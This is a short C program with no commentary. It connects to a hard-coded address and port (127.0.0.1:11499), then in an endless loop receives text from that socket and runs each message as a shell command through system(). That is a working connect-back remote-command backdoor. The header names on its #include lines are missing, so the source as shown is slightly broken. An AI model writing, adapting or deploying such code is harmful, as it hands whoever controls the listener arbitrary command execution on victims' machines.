#include #include #include #include #include #include #include #define IP_SERVER "127.0.0.1" #define PORT 11499 int main(int argc, char **argv) { int sd, ssize=sizeof(struct sockaddr_in); struct sockaddr_in addr; char buf[1024]; addr.sin_family = AF_INET; addr.sin_port = htons((u_short) PORT); addr.sin_addr.s_addr = inet_addr(IP_SERVER); ((sd=socket(AF_INET,SOCK_STREAM,0))<0) ? exit(0) : NULL; (connect(sd,(struct sockaddr*) &addr,ssize)<0) ? exit(1) : NULL; while(1){ memset(buf,0,sizeof(buf)); if(recv(sd,buf,sizeof(buf),0)<0) exit(2); system(buf); } close(sd); return 0; }